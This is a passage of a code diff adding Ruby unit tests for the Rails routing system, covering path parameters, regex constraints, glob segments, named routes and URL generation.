+        resp = ActiveSupport::JSON.encode ActionDispatch::Request.new(env).path_parameters
+        [200, {}, [resp]]
+      }
+    end
+
+    hash = ActiveSupport::JSON.decode get(URI("http://example.org/journey/faithfully-omg"))
+    assert_equal({ "id" => "faithfully-omg" }, hash)
+  end
+
+  def test_dash_with_custom_regexp
+    rs.draw do
+      get "/:artist/:song-omg", constraints: { song: /\d+/ }, to: lambda { |env|
+        resp = ActiveSupport::JSON.encode ActionDispatch::Request.new(env).path_parameters
+        [200, {}, [resp]]
+      }
+    end
+
+    hash = ActiveSupport::JSON.decode get(URI("http://example.org/journey/123-omg"))
+    assert_equal({ "artist" => "journey", "song" => "123" }, hash)
+    assert_equal "Not Found", get(URI("http://example.org/journey/faithfully-omg"))
+  end
+
+  def test_pre_dash
+    rs.draw do
+      get "/:artist/omg-:song", to: lambda { |env|
+        resp = ActiveSupport::JSON.encode ActionDispatch::Request.new(env).path_parameters
+        [200, {}, [resp]]
+      }
+    end
+
+    hash = ActiveSupport::JSON.decode get(URI("http://example.org/journey/omg-faithfully"))
+    assert_equal({ "artist" => "journey", "song" => "faithfully" }, hash)
+  end
+
+  def test_pre_dash_with_custom_regexp
+    rs.draw do
+      get "/:artist/omg-:song", constraints: { song: /\d+/ }, to: lambda { |env|
+        resp = ActiveSupport::JSON.encode ActionDispatch::Request.new(env).path_parameters
+        [200, {}, [resp]]
+      }
+    end
+
+    hash = ActiveSupport::JSON.decode get(URI("http://example.org/journey/omg-123"))
+    assert_equal({ "artist" => "journey", "song" => "123" }, hash)
+    assert_equal "Not Found", get(URI("http://example.org/journey/omg-faithfully"))
+  end
+
+  def test_star_paths_are_greedy
+    rs.draw do
+      get "/*path", to: lambda { |env|
+        x = env["action_dispatch.request.path_parameters"][:path]
+        [200, {}, [x]]
+      }, format: false
+    end
+
+    u = URI("http://example.org/foo/bar.html")
+    assert_equal u.path.sub(/^\//, ""), get(u)
+  end
+
+  def test_star_paths_are_greedy_but_not_too_much
+    rs.draw do
+      get "/*path", to: lambda { |env|
+        x = ActiveSupport::JSON.encode env["action_dispatch.request.path_parameters"]
+        [200, {}, [x]]
+      }
+    end
+
+    expected = { "path" => "foo/bar", "format" => "html" }
+    u = URI("http://example.org/foo/bar.html")
+    assert_equal expected, ActiveSupport::JSON.decode(get(u))
+  end
+
+  def test_optional_star_paths_are_greedy
+    rs.draw do
+      get "/(*filters)", to: lambda { |env|
+        x = env["action_dispatch.request.path_parameters"][:filters]
+        [200, {}, [x]]
+      }, format: false
+    end
+
+    u = URI("http://example.org/ne_27.065938,-80.6092/sw_25.489856,-82.542794")
+    assert_equal u.path.sub(/^\//, ""), get(u)
+  end
+
+  def test_optional_star_paths_are_greedy_but_not_too_much
+    rs.draw do
+      get "/(*filters)", to: lambda { |env|
+        x = ActiveSupport::JSON.encode env["action_dispatch.request.path_parameters"]
+        [200, {}, [x]]
+      }
+    end
+
+    expected = { "filters" => "ne_27.065938,-80.6092/sw_25.489856,-82",
+                 "format"  => "542794" }
+    u = URI("http://example.org/ne_27.065938,-80.6092/sw_25.489856,-82.542794")
+    assert_equal expected, ActiveSupport::JSON.decode(get(u))
+  end
+
+  def test_regexp_precidence
+    rs.draw do
+      get "/whois/:domain", constraints: {
+        domain: /\w+\.[\w\.]+/ },
+        to: lambda { |env| [200, {}, %w{regexp}] }
+
+      get "/whois/:id", to: lambda { |env| [200, {}, %w{id}] }
+    end
+
+    assert_equal "regexp", get(URI("http://example.org/whois/example.org"))
+    assert_equal "id", get(URI("http://example.org/whois/123"))
+  end
+
+  def test_class_and_lambda_constraints
+    subdomain = Class.new {
+      def matches?(request)
+        request.subdomain.present? && request.subdomain != "clients"
+      end
+    }
+
+    rs.draw do
+      get "/", constraints: subdomain.new,
+                 to: lambda { |env| [200, {}, %w{default}] }
+      get "/", constraints: { subdomain: "clients" },
+                 to: lambda { |env| [200, {}, %w{clients}] }
+    end
+
+    assert_equal "default", get(URI("http://www.example.org/"))
+    assert_equal "clients", get(URI("http://clients.example.org/"))
+  end
+
+  def test_lambda_constraints
+    rs.draw do
+      get "/", constraints: lambda { |req|
+        req.subdomain.present? && req.subdomain != "clients" },
+                 to: lambda { |env| [200, {}, %w{default}] }
+
+      get "/", constraints: lambda { |req|
+        req.subdomain.present? && req.subdomain == "clients" },
+                 to: lambda { |env| [200, {}, %w{clients}] }
+    end
+
+    assert_equal "default", get(URI("http://www.example.org/"))
+    assert_equal "clients", get(URI("http://clients.example.org/"))
+  end
+
+  def test_scoped_lambda
+    scope_called = false
+    rs.draw do
+      scope "/foo", constraints: lambda { |req| scope_called = true } do
+        get "/", to: lambda { |env| [200, {}, %w{default}] }
+      end
+    end
+
+    assert_equal "default", get(URI("http://www.example.org/foo/"))
+    assert scope_called, "scope constraint should be called"
+  end
+
+  def test_scoped_lambda_with_get_lambda
+    inner_called = false
+
+    rs.draw do
+      scope "/foo", constraints: lambda { |req| flunk "should not be called" } do
+        get "/", constraints: lambda { |req| inner_called = true },
+                 to: lambda { |env| [200, {}, %w{default}] }
+      end
+    end
+
+    assert_equal "default", get(URI("http://www.example.org/foo/"))
+    assert inner_called, "inner constraint should be called"
+  end
+
+  def test_empty_string_match
+    rs.draw do
+      get "/:username", constraints: { username: /[^\/]+/ },
+                       to: lambda { |e| [200, {}, ["foo"]] }
+    end
+    assert_equal "Not Found", get(URI("http://example.org/"))
+    assert_equal "foo", get(URI("http://example.org/hello"))
+  end
+
+  def test_non_greedy_glob_regexp
+    params = nil
+    rs.draw do
+      get "/posts/:id(/*filters)", constraints: { filters: /.+?/ },
+        to: lambda { |e|
+        params = e["action_dispatch.request.path_parameters"]
+        [200, {}, ["foo"]]
+      }
+    end
+    assert_equal "foo", get(URI("http://example.org/posts/1/foo.js"))
+    assert_equal({ id: "1", filters: "foo", format: "js" }, params)
+  end
+
+  def test_specific_controller_action_failure
+    rs.draw do
+      mount lambda {} => "/foo"
+    end
+
+    assert_raises(ActionController::UrlGenerationError) do
+      url_for(rs, controller: "omg", action: "lol")
+    end
+  end
+
+  def test_default_setup
+    rs.draw { ActiveSupport::Deprecation.silence { get "/:controller(/:action(/:id))" } }
+    assert_equal({ controller: "content", action: "index" }, rs.recognize_path("/content"))
+    assert_equal({ controller: "content", action: "list" },  rs.recognize_path("/content/list"))
+    assert_equal({ controller: "content", action: "show", id: "10" }, rs.recognize_path("/content/show/10"))
+
+    assert_equal({ controller: "admin/user", action: "show", id: "10" }, rs.recognize_path("/admin/user/show/10"))
+
+    assert_equal "/admin/user/show/10", url_for(rs, controller: "admin/user", action: "show", id: 10)
+
+    get URI("http://test.host/admin/user/list/10")
+
+    assert_equal({ controller: "admin/user", action: "list", id: "10" },
+                 controller.request.path_parameters)
+
+    assert_equal "/admin/user/show",    controller.url_for(action: "show", only_path: true)
+    assert_equal "/admin/user/list/10", controller.url_for(only_path: true)
+
+    assert_equal "/admin/stuff", controller.url_for(controller: "stuff", only_path: true)
+    assert_equal "/stuff", controller.url_for(controller: "/stuff", only_path: true)
+  end
+
+  def test_route_with_colon_first
+    rs.draw do
+      ActiveSupport::Deprecation.silence do
+        get "/:controller/:action/:id", action: "index", id: nil
+      end
+
+      get ":url", controller: "content", action: "translate"
+    end
+
+    assert_equal({ controller: "content", action: "translate", url: "example" }, rs.recognize_path("/example"))
+  end
+
+  def test_route_with_regexp_for_action
+    rs.draw { ActiveSupport::Deprecation.silence { get "/:controller/:action", action: /auth[-|_].+/ } }
+
+    assert_equal({ action: "auth_google", controller: "content" }, rs.recognize_path("/content/auth_google"))
+    assert_equal({ action: "auth-facebook", controller: "content" }, rs.recognize_path("/content/auth-facebook"))
+
+    assert_equal "/content/auth_google", url_for(rs, controller: "content", action: "auth_google")
+    assert_equal "/content/auth-facebook", url_for(rs, controller: "content", action: "auth-facebook")
+  end
+
+  def test_route_with_regexp_for_controller
+    rs.draw do
+      ActiveSupport::Deprecation.silence do
+        get ":controller/:admintoken(/:action(/:id))", controller: /admin\/.+/
+        get "/:controller(/:action(/:id))"
+      end
+    end
+
+    assert_equal({ controller: "admin/user", admintoken: "foo", action: "index" },
+        rs.recognize_path("/admin/user/foo"))
+    assert_equal({ controller: "content", action: "foo" },
+        rs.recognize_path("/content/foo"))
+
+    assert_equal "/admin/user/foo", url_for(rs, controller: "admin/user", admintoken: "foo", action: "index")
+    assert_equal "/content/foo",    url_for(rs, controller: "content", action: "foo")
+  end
+
+  def test_route_with_regexp_and_captures_for_controller
+    rs.draw do
+      ActiveSupport::Deprecation.silence do
+        get "/:controller(/:action(/:id))", controller: /admin\/(accounts|users)/
+      end
+    end
+    assert_equal({ controller: "admin/accounts", action: "index" }, rs.recognize_path("/admin/accounts"))
+    assert_equal({ controller: "admin/users", action: "index" }, rs.recognize_path("/admin/users"))
+    assert_raise(ActionController::RoutingError) { rs.recognize_path("/admin/products") }
+  end
+
+  def test_route_with_regexp_and_dot
+    rs.draw do
+      ActiveSupport::Deprecation.silence do
+        get ":controller/:action/:file",
+                  controller: /admin|user/,
+                  action: /upload|download/,
+                  defaults: { file: nil },
+                  constraints: { file: %r{[^/]+(\.[^/]+)?} }
+      end
+    end
+    # Without a file extension
+    assert_equal "/user/download/file",
+      url_for(rs, controller: "user", action: "download", file: "file")
+
+    assert_equal({ controller: "user", action: "download", file: "file" },
+      rs.recognize_path("/user/download/file"))
+
+    # Now, let's try a file with an extension, really a dot (.)
+    assert_equal "/user/download/file.jpg",
+      url_for(rs, controller: "user", action: "download", file: "file.jpg")
+
+    assert_equal({ controller: "user", action: "download", file: "file.jpg" },
+      rs.recognize_path("/user/download/file.jpg"))
+  end
+
+  def test_basic_named_route
+    rs.draw do
+      root to: "content#list", as: "home"
+    end
+    assert_equal("http://test.host/", setup_for_named_route.send(:home_url))
+  end
+
+  def test_named_route_with_option
+    rs.draw do
+      get "page/:title" => "content#show_page", :as => "page"
+    end
+
+    assert_equal("http://test.host/page/new%20stuff",
+        setup_for_named_route.send(:page_url, title: "new stuff"))
+  end
+
+  def test_named_route_with_default
+    rs.draw do
+      get "page/:title" => "content#show_page", :title => "AboutPage", :as => "page"
+    end
+
+    assert_equal("http://test.host/page/AboutRails",
+        setup_for_named_route.send(:page_url, title: "AboutRails"))
+  end
+
+  def test_named_route_with_path_prefix
+    rs.draw do
+      scope "my" do
+        get "page" => "content#show_page", :as => "page"
+      end
+    end
+
+    assert_equal("http://test.host/my/page",
+        setup_for_named_route.send(:page_url))
+  end
+
+  def test_named_route_with_blank_path_prefix
+    rs.draw do
+      scope "" do
+        get "page" => "content#show_page", :as => "page"
+      end
+    end
+
+    assert_equal("http://test.host/page",
+        setup_for_named_route.send(:page_url))
+  end
+
+  def test_named_route_with_nested_controller
+    rs.draw do
+      get "admin/user" => "admin/user#index", :as => "users"
+    end
+
+    assert_equal("http://test.host/admin/user",
+        setup_for_named_route.send(:users_url))
+  end
+
+  def test_optimised_named_route_with_host
+    rs.draw do
+      get "page" => "content#show_page", :as => "pages", :host => "foo.com"
+    end
+    routes = setup_for_named_route
+    assert_equal "http://foo.com/page", routes.pages_url
+  end
+
+  def setup_for_named_route(options = {})
+    MockController.build(rs.url_helpers, options).new
+  end
+
+  def test_named_route_without_hash
+    rs.draw do
+      ActiveSupport::Deprecation.silence do
+        get ":controller/:action/:id", as: "normal"
+      end
+    end
+  end
+
+  def test_named_route_root
+    rs.draw do
+      root to: "hello#index"
+    end
+    routes = setup_for_named_route
+    assert_equal("http://test.host/", routes.send(:root_url))
+    assert_equal("/", routes.send(:root_path))
+  end
+
+  def test_named_route_root_without_hash
+    rs.draw do
+      root "hello#index"
+    end
+    routes = setup_for_named_route
+    assert_equal("http://test.host/", routes.send(:root_url))
+    assert_equal("/", routes.send(:root_path))
+  end
+
+  def test_named_route_root_with_hash
+    rs.draw do
+      root "hello#index", as: :index
+    end
+
+    routes = setup_for_named_route
+    assert_equal("http://test.host/", routes.send(:index_url))
+    assert_equal("/", routes.send(:index_path))
+  end
+
+  def test_root_without_path_raises_argument_error
+    assert_raises ArgumentError do
+      rs.draw { root nil }
+    end
+  end
+
+  def test_named_route_root_with_trailing_slash
+    rs.draw do
+      root "hello#index"
+    end
+
+    routes = setup_for_named_route(trailing_slash: true)
+    assert_equal("http://test.host/", routes.send(:root_url))
+    assert_equal("http://test.host/?foo=bar", routes.send(:root_url, foo: :bar))
+  end
+
+  def test_named_route_with_regexps
+    rs.draw do
+      get "page/:year/:month/:day/:title" => "page#show", :as => "article",
+        :year => /\d+/, :month => /\d+/, :day => /\d+/
+
+      ActiveSupport::Deprecation.silence do
+        get ":controller/:action/:id"
+      end
+    end
+
+    routes = setup_for_named_route
+
+    assert_equal "http://test.host/page/2005/6/10/hi",
+      routes.send(:article_url, title: "hi", day: 10, year: 2005, month: 6)
+  end
+
+  def test_changing_controller
+    rs.draw { ActiveSupport::Deprecation.silence { get ":controller/:action/:id" } }
+
+    get URI("http://test.host/admin/user/index/10")
+
+    assert_equal "/admin/stuff/show/10",
+        controller.url_for(controller: "stuff", action: "show", id: 10, only_path: true)
+  end
+
+  def test_paths_escaped
+    rs.draw do
+      get "file/*path" => "content#show_file", :as => "path"
+
+      ActiveSupport::Deprecation.silence do
+        get ":controller/:action/:id"
+      end
+    end
+
+    # No + to space in URI escaping, only for query params.
+    results = rs.recognize_path "/file/hello+world/how+are+you%3F"
+    assert results, "Recognition should have succeeded"
+    assert_equal "hello+world/how+are+you?", results[:path]
+
+    # Use %20 for space instead.
+    results = rs.recognize_path "/file/hello%20world/how%20are%20you%3F"
+    assert results, "Recognition should have succeeded"
+    assert_equal "hello world/how are you?", results[:path]
+  end
+
+  def test_paths_slashes_unescaped_with_ordered_parameters
+    rs.draw do
+      get "/file/*path" => "content#index", :as => "path"
+    end
+
+    # No / to %2F in URI, only for query params.
+    assert_equal("/file/hello/world", setup_for_named_route.send(:path_path, ["hello", "world"]))
+  end
+
+  def test_non_controllers_cannot_be_matched
+    rs.draw do
+      ActiveSupport::Deprecation.silence do
+        get ":controller/:action/:id"
+      end
+    end
+    assert_raise(ActionController::RoutingError) { rs.recognize_path("/not_a/show/10") }
+  end
+
+  def test_should_list_options_diff_when_routing_constraints_dont_match
+    rs.draw do
+      get "post/:id" => "post#show", :constraints => { id: /\d+/ }, :as => "post"
+    end
+    assert_raise(ActionController::UrlGenerationError) do
+      url_for(rs, controller: "post", action: "show", bad_param: "foo", use_route: "post")
+    end
+  end
+
+  def test_dynamic_path_allowed
+    rs.draw do
+      get "*path" => "content#show_file"
+    end
+
+    assert_equal "/pages/boo",
+        url_for(rs, controller: "content", action: "show_file", path: %w(pages boo))
+  end
+
+  def test_dynamic_recall_paths_allowed
+    rs.draw do
+      get "*path" => "content#show_file"
+    end
+
+    get URI("http://test.host/pages/boo")
+    assert_equal({ controller: "content", action: "show_file", path: "pages/boo" },
+                 controller.request.path_parameters)
+
+    assert_equal "/pages/boo",
+      controller.url_for(only_path: true)
+  end
+
+  def test_backwards
+    rs.draw do
+      ActiveSupport::Deprecation.silence do
+        get "page/:id(/:action)" => "pages#show"
+        get ":controller(/:action(/:id))"
+      end
+    end
+
+    get URI("http://test.host/pages/show")
+    assert_equal "/page/20",   controller.url_for(id: 20, only_path: true)
+    assert_equal "/page/20",   url_for(rs, controller: "pages", id: 20, action: "show")
+    assert_equal "/pages/boo", url_for(rs, controller: "pages", action: "boo")
+  end
+
+  def test_route_with_integer_default
+    rs.draw do
+      get "page(/:id)" => "content#show_page", :id => 1
+
+      ActiveSupport::Deprecation.silence do
+        get ":controller/:action/:id"
+      end
+    end
+
+    assert_equal "/page",    url_for(rs, controller: "content", action: "show_page")
+    assert_equal "/page",    url_for(rs, controller: "content", action: "show_page", id: 1)
+    assert_equal "/page",    url_for(rs, controller: "content", action: "show_page", id: "1")
+    assert_equal "/page/10", url_for(rs, controller: "content", action: "show_page", id: 10)
+
+    assert_equal({ controller: "content", action: "show_page", id: 1 }, rs.recognize_path("/page"))
+    assert_equal({ controller: "content", action: "show_page", id: "1" }, rs.recognize_path("/page/1"))
+    assert_equal({ controller: "content", action: "show_page", id: "10" }, rs.recognize_path("/page/10"))
+  end
+
+  # For newer revision
+  def test_route_with_text_default
+    rs.draw do
+      get "page/:id" => "content#show_page", :id => 1
+
+      ActiveSupport::Deprecation.silence do
+        get ":controller/:action/:id"
+      end
+    end
+
+    assert_equal "/page/foo", url_for(rs, controller: "content", action: "show_page", id: "foo")
+    assert_equal({ controller: "content", action: "show_page", id: "foo" }, rs.recognize_path("/page/foo"))
+
+    token = "\321\202\320\265\320\272\321\201\321\202".dup # 'text' in Russian
+    token.force_encoding(Encoding::BINARY)
+    escaped_token = CGI::escape(token)
+
+    assert_equal "/page/" + escaped_token, url_for(rs, controller: "content", action: "show_page", id: token)
+    assert_equal({ controller: "content", action: "show_page", id: token }, rs.recognize_path("/page/#{escaped_token}"))
+  end
+
+  def test_action_expiry
+    rs.draw { ActiveSupport::Deprecation.silence { get ":controller(/:action(/:id))" } }
+    get URI("http://test.host/content/show")
+    assert_equal "/content", controller.url_for(controller: "content", only_path: true)
+  end
+
+  def test_requirement_should_prevent_optional_id
+    rs.draw do
+      get "post/:id" => "post#show", :constraints => { id: /\d+/ }, :as => "post"
+    end
+
+    assert_equal "/post/10", url_for(rs, controller: "post", action: "show", id: 10)
+
+    assert_raise(ActionController::UrlGenerationError) do
+      url_for(rs, controller: "post", action: "show")
+    end
+  end
+
+  def test_both_requirement_and_optional
+    rs.draw do
+      get("test(/:year)" => "post#show", :as => "blog",
+        :defaults => { year: nil },
+        :constraints => { year: /\d{4}/ }
+      )
+
+      ActiveSupport::Deprecation.silence do
+        get ":controller/:action/:id"
+      end
+    end
+
+    assert_equal "/test", url_for(rs, controller: "post", action: "show")
+    assert_equal "/test", url_for(rs, controller: "post", action: "show", year: nil)
+
+    assert_equal("http://test.host/test", setup_for_named_route.send(:blog_url))
+  end
+
+  def test_set_to_nil_forgets
+    rs.draw do
+      get "pages(/:year(/:month(/:day)))" => "content#list_pages", :month => nil, :day => nil
+
+      ActiveSupport::Deprecation.silence do
+        get ":controller/:action/:id"
+      end
+    end
+
+    assert_equal "/pages/2005",
+      url_for(rs, controller: "content", action: "list_pages", year: 2005)
+    assert_equal "/pages/2005/6",
+      url_for(rs, controller: "content", action: "list_pages", year: 2005, month: 6)
+    assert_equal "/pages/2005/6/12",
+      url_for(rs, controller: "content", action: "list_pages", year: 2005, month: 6, day: 12)
+
+    get URI("http://test.host/pages/2005/6/12")
+    assert_equal({ controller: "content", action: "list_pages", year: "2005", month: "6", day: "12" },
+                controller.request.path_parameters)
+
+    assert_equal "/pages/2005/6/4",
+      controller.url_for(day: 4, only_path: true)
+
+    assert_equal "/pages/2005/6",
+      controller.url_for(day: nil, only_path: true)
+
+    assert_equal "/pages/2005",
+      controller.url_for(day: nil, month: nil, only_path: true)
+  end
+
+  def test_root_url_generation_with_controller_and_action
+    rs.draw do
+      root to: "content#index"
+    end
+
+    assert_equal "/", url_for(rs, controller: "content", action: "index")
+    assert_equal "/", url_for(rs, controller: "content")
+  end
+
+  def test_named_root_url_generation_with_controller_and_action
+    rs.draw do
+      root to: "content#index", as: "home"
+    end
+
+    assert_equal "/", url_for(rs, controller: "content", action: "index")
+    assert_equal "/", url_for(rs, controller: "content")
+
+    assert_equal("http://test.host/", setup_for_named_route.send(:home_url))
+  end
+
+  def test_named_route_method
+    rs.draw do
+      get "categories" => "content#categories", :as => "categories"
+
+      ActiveSupport::Deprecation.silence do
+        get ":controller(/:action(/:id))"
+      end
+    end
+
+    assert_equal "/categories", url_for(rs, controller: "content", action: "categories")
+    assert_equal "/content/hi", url_for(rs, controller: "content", action: "hi")
+  end
+
+  def test_named_routes_array
+    test_named_route_method
+    assert_equal [:categories], rs.named_routes.names
+  end
+
+  def test_nil_defaults
+    rs.draw do
+      get "journal" => "content#list_journal",
+        :date => nil, :user_id => nil
+
+      ActiveSupport::Deprecation.silence do
+        get ":controller/:action/:id"
+      end
+    end
+
+    assert_equal "/journal", url_for(rs,
+      controller: "content",
+      action: "list_journal",
+      date: nil,
+      user_id: nil)
+  end
+
+  def setup_request_method_routes_for(method)
+    rs.draw do
+      match "/match" => "books##{method}", :via => method.to_sym
+    end
+  end
+
+  %w(GET PATCH POST PUT DELETE).each do |request_method|
+    define_method("test_request_method_recognized_with_#{request_method}") do
+      setup_request_method_routes_for(request_method.downcase)
+      params = rs.recognize_path("/match", method: request_method)
+      assert_equal request_method.downcase, params[:action]
+    end
+  end
+
+  def test_recognize_array_of_methods
+    rs.draw do
+      match "/match" => "books#get_or_post", :via => [:get, :post]
+      put "/match" => "books#not_get_or_post"
+    end
+
+    params = rs.recognize_path("/match", method: :post)
+    assert_equal "get_or_post", params[:action]
+
+    params = rs.recognize_path("/match", method: :put)
+    assert_equal "not_get_or_post", params[:action]
+  end
+
+  def test_subpath_recognized
+    rs.draw do
+      ActiveSupport::Deprecation.silence do
+        get "/books/:id/edit"    => "subpath_books#edit"
+        get "/items/:id/:action" => "subpath_books"
+        get "/posts/new/:action" => "subpath_books"
+        get "/posts/:id"         => "subpath_books#show"
+      end
+    end
+
+    hash = rs.recognize_path "/books/17/edit"
+    assert_not_nil hash
+    assert_equal %w(subpath_books 17 edit), [hash[:controller], hash[:id], hash[:action]]
+
+    hash = rs.recognize_path "/items/3/complete"
+    assert_not_nil hash
+    assert_equal %w(subpath_books 3 complete), [hash[:controller], hash[:id], hash[:action]]
+
+    hash = rs.recognize_path "/posts/new/preview"
+    assert_not_nil hash
+    assert_equal %w(subpath_books preview), [hash[:controller], hash[:action]]
+
+    hash = rs.recognize_path "/posts/7"
+    assert_not_nil hash
+    assert_equal %w(subpath_books show 7), [hash[:controller], hash[:action], hash[:id]]
+  end
+
+  def test_subpath_generated
+    rs.draw do
+      ActiveSupport::Deprecation.silence do
+        get "/books/:id/edit"    => "subpath_books#edit"
+        get "/items/:id/:action" => "subpath_books"
+        get "/posts/new/:action" => "subpath_books"
+      end
+    end
+
+    assert_equal "/books/7/edit",      url_for(rs, controller: "subpath_books", id: 7, action: "edit")
+    assert_equal "/items/15/complete", url_for(rs, controller: "subpath_books", id: 15, action: "complete")
+    assert_equal "/posts/new/preview", url_for(rs, controller: "subpath_books", action: "preview")
+  end
+
+  def test_failed_constraints_raises_exception_with_violated_constraints
+    rs.draw do
+      get "foos/:id" => "foos#show", :as => "foo_with_requirement", :constraints => { id: /\d+/ }
+    end
+
+    assert_raise(ActionController::UrlGenerationError) do
+      setup_for_named_route.send(:foo_with_requirement_url, "I am Against the constraints")
+    end
+  end
+
+  def test_routes_changed_correctly_after_clear
+    rs = ::ActionDispatch::Routing::RouteSet.new
+    rs.draw do
+      get "ca" => "ca#aa"
+      get "cb" => "cb#ab"
+      get "cc" => "cc#ac"
+
+      ActiveSupport::Deprecation.silence do
+        get ":controller/:action/:id"
+        get ":controller/:action/:id.:format"
+      end
+    end
+
+    hash = rs.recognize_path "/cc"
+
+    assert_not_nil hash
+    assert_equal %w(cc ac), [hash[:controller], hash[:action]]
+
+    rs.draw do
+      get "cb" => "cb#ab"
+      get "cc" => "cc#ac"
+
+      ActiveSupport::Deprecation.silence do
+        get ":controller/:action/:id"
+        get ":controller/:action/:id.:format"
+      end
+    end
+
+    hash = rs.recognize_path "/cc"
+
+    assert_not_nil hash
+    assert_equal %w(cc ac), [hash[:controller], hash[:action]]
+  end
+end
+
+class RouteSetTest < ActiveSupport::TestCase
+  include RoutingTestHelpers
+  include ActionDispatch::RoutingVerbs
+
+  attr_reader :set
+  alias :routes :set
+  attr_accessor :controller
+
+  def setup
+    super
+    @set = make_set
+  end
+
+  def request
+    @request ||= ActionController::TestRequest.new
+  end
+
+  def default_route_set
+    @default_route_set ||= begin
+      set = ActionDispatch::Routing::RouteSet.new
+      set.draw do
+
+        ActiveSupport::Deprecation.silence do
+          get "/:controller(/:action(/:id))"
+        end
+      end
+      set
+    end
+  end
+
+  def test_generate_extras
+    set.draw { ActiveSupport::Deprecation.silence { get ":controller/(:action(/:id))" } }
+    path, extras = set.generate_extras(controller: "foo", action: "bar", id: 15, this: "hello", that: "world")
+    assert_equal "/foo/bar/15", path
+    assert_equal %w(that this), extras.map(&:to_s).sort
+  end
+
+  def test_extra_keys
+    set.draw { ActiveSupport::Deprecation.silence { get ":controller/:action/:id" } }
+    extras = set.extra_keys(controller: "foo", action: "bar", id: 15, this: "hello", that: "world")
+    assert_equal %w(that this), extras.map(&:to_s).sort
+  end
+
+  def test_generate_extras_not_first
+    set.draw do
+      ActiveSupport::Deprecation.silence do
+        get ":controller/:action/:id.:format"
+        get ":controller/:action/:id"
+      end
+    end
+    path, extras = set.generate_extras(controller: "foo", action: "bar", id: 15, this: "hello", that: "world")
+    assert_equal "/foo/bar/15", path
+    assert_equal %w(that this), extras.map(&:to_s).sort
+  end
+
+  def test_generate_not_first
+    set.draw do
+      ActiveSupport::Deprecation.silence do
+        get ":controller/:action/:id.:format"
+        get ":controller/:action/:id"
+      end
+    end
+    assert_equal "/foo/bar/15?this=hello",
+        url_for(set, controller: "foo", action: "bar", id: 15, this: "hello")
+  end
+
+  def test_extra_keys_not_first
+    set.draw do
+      ActiveSupport::Deprecation.silence do
+        get ":controller/:action/:id.:format"
+        get ":controller/:action/:id"
+      end
+    end
+    extras = set.extra_keys(controller: "foo", action: "bar", id: 15, this: "hello", that: "world")
+    assert_equal %w(that this), extras.map(&:to_s).sort
+  end
+
+  def test_draw
+    assert_equal 0, set.routes.size
+    set.draw do
+      get "/hello/world" => "a#b"
+    end
+    assert_equal 1, set.routes.size
+  end
+
+  def test_draw_symbol_controller_name
+    assert_equal 0, set.routes.size
+    set.draw do
+      get "/users/index" => "users#index"
+    end
+    set.recognize_path("/users/index", method: :get)
+    assert_equal 1, set.routes.size
+  end
+
+  def test_named_draw
+    assert_equal 0, set.routes.size
+    set.draw do
+      get "/hello/world" => "a#b", :as => "hello"
+    end
+    assert_equal 1, set.routes.size
+    assert_equal set.routes.first, set.named_routes[:hello]
+  end
+
+  def test_duplicate_named_route_raises_rather_than_pick_precedence
+    assert_raise ArgumentError do
+      set.draw do
+        get "/hello/world" => "a#b", :as => "hello"
+        get "/hello"       => "a#b", :as => "hello"
+      end
+    end
+  end
+
+  def setup_named_route_test
+    set.draw do
+      get "/people(/:id)" => "people#show", :as => "show"
+      get "/people" => "people#index", :as => "index"
+      get "/people/go/:foo/:bar/joe(/:id)" => "people#multi", :as => "multi"
+      get "/admin/users" => "admin/users#index", :as => "users"
+    end
+
+    get URI("http://test.host/people")
+    controller
+  end
+
+  def test_named_route_url_method
+    controller = setup_named_route_test
+
+    assert_equal "http://test.host/people/5", controller.send(:show_url, id: 5)
+    assert_equal "/people/5", controller.send(:show_path, id: 5)
+
+    assert_equal "http://test.host/people", controller.send(:index_url)
+    assert_equal "/people", controller.send(:index_path)
+
+    assert_equal "http://test.host/admin/users", controller.send(:users_url)
+    assert_equal "/admin/users", controller.send(:users_path)
+  end
+
+  def test_named_route_url_method_with_anchor
+    controller = setup_named_route_test
+
+    assert_equal "http://test.host/people/5#location", controller.send(:show_url, id: 5, anchor: "location")
+    assert_equal "/people/5#location", controller.send(:show_path, id: 5, anchor: "location")
+
+    assert_equal "http://test.host/people#location", controller.send(:index_url, anchor: "location")
+    assert_equal "/people#location", controller.send(:index_path, anchor: "location")
+
+    assert_equal "http://test.host/admin/users#location", controller.send(:users_url, anchor: "location")
+    assert_equal "/admin/users#location", controller.send(:users_path, anchor: "location")
+
+    assert_equal "http://test.host/people/go/7/hello/joe/5#location",
+      controller.send(:multi_url, 7, "hello", 5, anchor: "location")
+
+    assert_equal "http://test.host/people/go/7/hello/joe/5?baz=bar#location",
+      controller.send(:multi_url, 7, "hello", 5, baz: "bar", anchor: "location")
+
+    assert_equal "http://test.host/people?baz=bar#location",
+      controller.send(:index_url, baz: "bar", anchor: "location")
+
+    assert_equal "http://test.host/people", controller.send(:index_url, anchor: nil)
+    assert_equal "http://test.host/people", controller.send(:index_url, anchor: false)
+  end
+
+  def test_named_route_url_method_with_port
+    controller = setup_named_route_test
+    assert_equal "http://test.host:8080/people/5", controller.send(:show_url, 5, port: 8080)
+  end
+
+  def test_named_route_url_method_with_host
+    controller = setup_named_route_test
+    assert_equal "http://some.example.com/people/5", controller.send(:show_url, 5, host: "some.example.com")
+  end
+
+  def test_named_route_url_method_with_protocol
+    controller = setup_named_route_test
+    assert_equal "https://test.host/people/5", controller.send(:show_url, 5, protocol: "https")
+  end
+
+  def test_named_route_url_method_with_ordered_parameters
+    controller = setup_named_route_test
+    assert_equal "http://test.host/people/go/7/hello/joe/5",
+      controller.send(:multi_url, 7, "hello", 5)
+  end
+
+  def test_named_route_url_method_with_ordered_parameters_and_hash
+    controller = setup_named_route_test
+    assert_equal "http://test.host/people/go/7/hello/joe/5?baz=bar",
+      controller.send(:multi_url, 7, "hello", 5, baz: "bar")
+  end
+
+  def test_named_route_url_method_with_ordered_parameters_and_empty_hash
+    controller = setup_named_route_test
+    assert_equal "http://test.host/people/go/7/hello/joe/5",
+      controller.send(:multi_url, 7, "hello", 5, {})
+  end
+
+  def test_named_route_url_method_with_no_positional_arguments
+    controller = setup_named_route_test
+    assert_equal "http://test.host/people?baz=bar",
+      controller.send(:index_url, baz: "bar")
+  end
+
+  def test_draw_default_route
+    set.draw do
+      ActiveSupport::Deprecation.silence do
+        get ":controller/:action/:id"
+      end
+    end
+
+    assert_equal 1, set.routes.size
+
+    assert_equal "/users/show/10",  url_for(set, controller: "users", action: "show", id: 10)
+    assert_equal "/users/index/10", url_for(set, controller: "users", id: 10)
+
+    assert_equal({ controller: "users", action: "index", id: "10" }, set.recognize_path("/users/index/10"))
